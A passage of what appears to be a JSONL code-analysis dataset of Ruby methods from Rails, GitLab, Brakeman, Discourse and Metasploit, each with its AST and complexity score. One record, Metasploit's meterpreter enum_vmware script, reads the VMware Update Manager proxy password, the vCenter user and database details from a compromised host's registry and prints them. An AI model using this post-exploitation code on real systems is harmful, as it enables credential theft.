hildren\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"to_sql\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual\"]},\"to_sql\"]}]}]}]}","id":"0d515862-c4c9-43d1-b1ec-3b4f527c74f7"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/i18n_with_controller_test.rb","start_line":21,"raw_source":"def send_mail\n    email = I18nTestMailer.mail_with_i18n_subject(\"test@localhost\").deliver_now\n    render plain: \"Mail sent - Subject: #{email.subject}\"\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_mail\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"email\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18nTestMailer\"]},\"mail_with_i18n_subject\",{\"type\":\"str\",\"children\":[\"test@localhost\"]}]},\"deliver_now\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Mail sent - Subject: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"subject\"]}]}]}]}]}]}]}]}","id":"90d53609-6a2d-434b-8fc6-e8e44747702a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/base_service.rb","start_line":269,"raw_source":"def pipeline_merge_requests(pipeline)\n      pipeline.all_merge_requests.opened.each do |merge_request|\n        next unless pipeline.id == merge_request.head_pipeline_id\n\n        yield merge_request\n      end\n    end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pipeline_merge_requests\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"all_merge_requests\"]},\"opened\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"head_pipeline_id\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]}]}]}]}","id":"bc6a5ff7-d89a-436b-a108-2cc2fd358871"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/application_controller.rb","start_line":46,"raw_source":"def build_canonical_path(project)\n    params[:namespace_id] = project.namespace.to_param\n    params[:project_id] = project.to_param\n\n    url_for(safe_params)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_canonical_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"namespace\"]},\"to_param\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"to_param\"]}]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"send\",\"children\":[null,\"safe_params\"]}]}]}]}","id":"c99fba66-770e-479e-a745-f2b9a6d74cc7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250519121930_add_sync_trigger_to_composer_packages_with_packages.rb","start_line":14,"raw_source":"def up\n    create_trigger_function(TRIGGER_FUNCTION_NAME, replace: true) do\n      <<~SQL\n        IF (COALESCE(NEW.package_type, OLD.package_type) = #{COMPOSER_PACKAGE_TYPE}) THEN\n          IF (TG_OP = 'INSERT') THEN\n            INSERT INTO \"#{PACKAGES_COMPOSER_TABLE}\" (id, project_id, created_at, updated_at, name, version, creator_id, status, last_downloaded_at, status_message)\n              VALUES (NEW.id, NEW.project_id, NEW.created_at, NEW.updated_at, NEW.name, NEW.version, NEW.creator_id, NEW.status, NEW.last_downloaded_at, NEW.status_message);\n          ELSIF (TG_OP = 'UPDATE') THEN\n            UPDATE \"#{PACKAGES_COMPOSER_TABLE}\"\n                SET project_id = NEW.project_id,\n                    updated_at = NEW.updated_at,\n                    name = NEW.name,\n                    version = NEW.version,\n                    creator_id = NEW.creator_id,\n                    status = NEW.status,\n                    last_downloaded_at = NEW.last_downloaded_at,\n                    status_message = NEW.status_message\n                WHERE id = OLD.id;\n          ELSIF (TG_OP = 'DELETE') THEN\n            DELETE FROM \"#{PACKAGES_COMPOSER_TABLE}\" WHERE id = OLD.id;\n          END IF;\n        END IF;\n        RETURN NULL;\n      SQL\n    end\n\n    create_trigger(\n      PACKAGES_TABLE, TRIGGER_NAME, TRIGGER_FUNCTION_NAME, fires: 'AFTER INSERT OR UPDATE OR DELETE'\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_trigger_function\",{\"type\":\"const\",\"children\":[null,\"TRIGGER_FUNCTION_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replace\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"IF (COALESCE(NEW.package_type, OLD.package_type) = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMPOSER_PACKAGE_TYPE\"]}]},{\"type\":\"str\",\"children\":[\") THEN\\n\"]},{\"type\":\"str\",\"children\":[\"  IF (TG_OP = 'INSERT') THEN\\n\"]},{\"type\":\"str\",\"children\":[\"    INSERT INTO \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PACKAGES_COMPOSER_TABLE\"]}]},{\"type\":\"str\",\"children\":[\"\\\" (id, project_id, created_at, updated_at, name, version, creator_id, status, last_downloaded_at, status_message)\\n\"]},{\"type\":\"str\",\"children\":[\"      VALUES (NEW.id, NEW.project_id, NEW.created_at, NEW.updated_at, NEW.name, NEW.version, NEW.creator_id, NEW.status, NEW.last_downloaded_at, NEW.status_message);\\n\"]},{\"type\":\"str\",\"children\":[\"  ELSIF (TG_OP = 'UPDATE') THEN\\n\"]},{\"type\":\"str\",\"children\":[\"    UPDATE \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PACKAGES_COMPOSER_TABLE\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"        SET project_id = NEW.project_id,\\n\"]},{\"type\":\"str\",\"children\":[\"            updated_at = NEW.updated_at,\\n\"]},{\"type\":\"str\",\"children\":[\"            name = NEW.name,\\n\"]},{\"type\":\"str\",\"children\":[\"            version = NEW.version,\\n\"]},{\"type\":\"str\",\"children\":[\"            creator_id = NEW.creator_id,\\n\"]},{\"type\":\"str\",\"children\":[\"            status = NEW.status,\\n\"]},{\"type\":\"str\",\"children\":[\"            last_downloaded_at = NEW.last_downloaded_at,\\n\"]},{\"type\":\"str\",\"children\":[\"            status_message = NEW.status_message\\n\"]},{\"type\":\"str\",\"children\":[\"        WHERE id = OLD.id;\\n\"]},{\"type\":\"str\",\"children\":[\"  ELSIF (TG_OP = 'DELETE') THEN\\n\"]},{\"type\":\"str\",\"children\":[\"    DELETE FROM \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PACKAGES_COMPOSER_TABLE\"]}]},{\"type\":\"str\",\"children\":[\"\\\" WHERE id = OLD.id;\\n\"]},{\"type\":\"str\",\"children\":[\"  END IF;\\n\"]},{\"type\":\"str\",\"children\":[\"END IF;\\n\"]},{\"type\":\"str\",\"children\":[\"RETURN NULL;\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_trigger\",{\"type\":\"const\",\"children\":[null,\"PACKAGES_TABLE\"]},{\"type\":\"const\",\"children\":[null,\"TRIGGER_NAME\"]},{\"type\":\"const\",\"children\":[null,\"TRIGGER_FUNCTION_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fires\"]},{\"type\":\"str\",\"children\":[\"AFTER INSERT OR UPDATE OR DELETE\"]}]}]}]}]}]}","id":"b21a2813-088a-4e81-9931-eb5a035d9cc7"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/slim_template_processor.rb","start_line":48,"raw_source":"def normalize_output arg\n    arg = super(arg)\n\n    if embedded_filter? arg\n      super(arg.first_arg)\n    else\n      arg\n    end\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_output\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arg\",{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"embedded_filter?\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"first_arg\"]}]},{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]}]}","id":"3ea99133-cbef-4001-971e-503c7e89d38c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/middleware/anonymous_cache.rb","start_line":40,"raw_source":"def self.build_cache_key(helper)\n      compile_key_builder unless defined?(@@compiled)\n      __compiled_key_builder(helper)\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_cache_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"helper\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@compiled\"]}]},null,{\"type\":\"send\",\"children\":[null,\"compile_key_builder\"]}]},{\"type\":\"send\",\"children\":[null,\"__compiled_key_builder\",{\"type\":\"lvar\",\"children\":[\"helper\"]}]}]}]}","id":"368c0eb1-37bc-4f8b-be73-6123c4515f48"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/timestamp_test.rb","start_line":562,"raw_source":"def test_timestamp_attributes_for_update_in_model\n    toy = Toy.first\n    assert_equal [\"updated_at\"], toy.send(:timestamp_attributes_for_update_in_model)\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_timestamp_attributes_for_update_in_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"toy\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Toy\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"updated_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"toy\"]},\"send\",{\"type\":\"sym\",\"children\":[\"timestamp_attributes_for_update_in_model\"]}]}]}]}]}","id":"3f3a2fe7-5638-4d32-81b5-a5cd6acf4c1d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/enum_vmware.rb","start_line":158,"raw_source":"def enum_vum\n  print_status(\"Information about VMware Update Manager:\")\n  begin\n    vum_version = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\",\"InstalledVersion\")\n    vum_server = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\",\"VUMServer\")\n    vum_dbtype = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\",\"DBServerType\")\n    vum_direct2web = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\",\"DirectWebAccess\")\n    vum_useproxy = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\",\"UseProxy\")\n    vum_proxyserver = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\",\"ProxyServer\")\n    vum_proxyport = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\",\"ProxyPort\")\n    vum_proxyuser = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\",\"ProxyUserName\")\n    vum_proxypass = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\",\"ProxyPassword\")\n    vum_vcentersrv = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\",\"VCServer\")\n    vum_vcenterusr = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\",\"VCUserName\")\n    vum_patchstore = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\",\"PatchStore\")\n    vum_odbcname = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\\\\DB\",\"1\")\n    vum_odbctype = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\\\\DB\",\"4\")\n    vum_dbname = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\ODBC\\\\ODBC.INI\\\\#{vum_odbcname.chomp}\",\"Database\")\n    vum_dbserver = registry_getvaldata(\"HKLM\\\\SOFTWARE\\\\ODBC\\\\ODBC.INI\\\\#{vum_odbcname.chomp}\",\"Server\")\n    #\t\tvum_trustedcon = reg_getvaldata(\"HKLM\\\\SOFTWARE\\\\ODBC\\\\ODBC.INI\\\\#{vum_odbcname.chomp}\",\"TrustedConnection\")\n    #\t\tif vum_trustedcon.to_i != 1\n    #\t\t\tvum_odbcusename = reg_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\\\\DB\",\"2\")\n    #\t\t\tvum_odbcpass = reg_getvaldata(\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\\\\DB\",\"3\")\n    #\t\tend\n    print_status(\"\\tVersion: #{vum_version}\")\n    print_status(\"\\tServer: #{vum_server}\")\n    print_status(\"\\tPatch Store: #{vum_patchstore}\")\n    print_status(\"\\tDatabse Type: #{vum_dbtype}\")\n    print_status(\"\\tUses Proxy: #{vum_useproxy}\")\n    print_status(\"\\tProxy User: #{vum_proxyuser}\")\n    print_status(\"\\tProxy Password: #{vum_proxypass}\")\n    print_status(\"\\tVirtual Center: #{vum_vcentersrv}\")\n    print_status(\"\\tVirtual Center User: #{vum_vcenterusr}\")\n    print_status(\"\\tProxy Server: #{vum_proxyserver}:#{vum_proxyport}\")\n    print_status(\"\\tDatabase Name: #{vum_dbname}\")\n    print_status(\"\\tDatabase Server: #{vum_dbserver}\")\n    print_status(\"\\tODBC Name: #{vum_odbcname}\")\n    print_status(\"\\tODBC Type: #{vum_odbctype}\")\n    #\t\tprint_status(\"\\t ODBC Trusted: #{vum_trustedcon}\")\n    #\t\tif vum_trustedcon.to_i != 1\n    #\t\t\tprint_status(\"\\tODBC Username: #{vum_odbcusename}\")\n    #\t\t\tprint_status(\"\\tODBC Password: #{vum_odbcpass}\")\n    #\t\tend\n  rescue ::Exception => e\n    print_status(\"Error: #{e.class} #{e}\")\n  end\n\nend","complexity_score":63.5,"ast_json":"{\"type\":\"def\",\"children\":[\"enum_vum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Information about VMware Update Manager:\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vum_version\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\"]},{\"type\":\"str\",\"children\":[\"InstalledVersion\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_server\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\"]},{\"type\":\"str\",\"children\":[\"VUMServer\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_dbtype\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\"]},{\"type\":\"str\",\"children\":[\"DBServerType\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_direct2web\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\"]},{\"type\":\"str\",\"children\":[\"DirectWebAccess\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_useproxy\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\"]},{\"type\":\"str\",\"children\":[\"UseProxy\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_proxyserver\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\"]},{\"type\":\"str\",\"children\":[\"ProxyServer\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_proxyport\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\"]},{\"type\":\"str\",\"children\":[\"ProxyPort\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_proxyuser\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\"]},{\"type\":\"str\",\"children\":[\"ProxyUserName\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_proxypass\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\"]},{\"type\":\"str\",\"children\":[\"ProxyPassword\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_vcentersrv\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\"]},{\"type\":\"str\",\"children\":[\"VCServer\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_vcenterusr\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\"]},{\"type\":\"str\",\"children\":[\"VCUserName\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_patchstore\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\"]},{\"type\":\"str\",\"children\":[\"PatchStore\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_odbcname\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\\\\DB\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_odbctype\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\VMware, Inc.\\\\VMware Update Manager\\\\DB\"]},{\"type\":\"str\",\"children\":[\"4\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_dbname\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\ODBC\\\\ODBC.INI\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_odbcname\"]},\"chomp\"]}]}]},{\"type\":\"str\",\"children\":[\"Database\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vum_dbserver\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\ODBC\\\\ODBC.INI\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_odbcname\"]},\"chomp\"]}]}]},{\"type\":\"str\",\"children\":[\"Server\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tVersion: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_version\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tServer: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_server\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tPatch Store: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_patchstore\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tDatabse Type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_dbtype\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tUses Proxy: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_useproxy\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tProxy User: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_proxyuser\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tProxy Password: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_proxypass\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tVirtual Center: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_vcentersrv\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tVirtual Center User: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_vcenterusr\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tProxy Server: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_proxyserver\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_proxyport\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tDatabase Name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_dbname\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tDatabase Server: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_dbserver\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tODBC Name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_odbcname\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tODBC Type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vum_odbctype\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]}]}","id":"6923866d-c6f5-4768-862a-ff5b421c57f8"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/backtrace_cleaner.rb","start_line":11,"raw_source":"def initialize\n      super\n      add_filter do |line|\n        # We may be called before Rails.root is assigned.\n        # When that happens we fallback to not truncating.\n        @root ||= Rails.root && \"#{Rails.root}/\"\n        @root && line.start_with?(@root) ? line.from(@root.size) : line\n      end\n      add_filter do |line|\n        if RENDER_TEMPLATE_PATTERN.match?(line)\n          line.sub(RENDER_TEMPLATE_PATTERN, \"\")\n        else\n          line\n        end\n      end\n      add_silencer { |line| !APP_DIRS_PATTERN.match?(line) }\n    end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@root\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"start_with?\",{\"type\":\"ivar\",\"children\":[\"@root\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"from\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root\"]},\"size\"]}]},{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RENDER_TEMPLATE_PATTERN\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"sub\",{\"type\":\"const\",\"children\":[null,\"RENDER_TEMPLATE_PATTERN\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvar\",\"children\":[\"line\"]}]}]},{\"type\":\"block\",\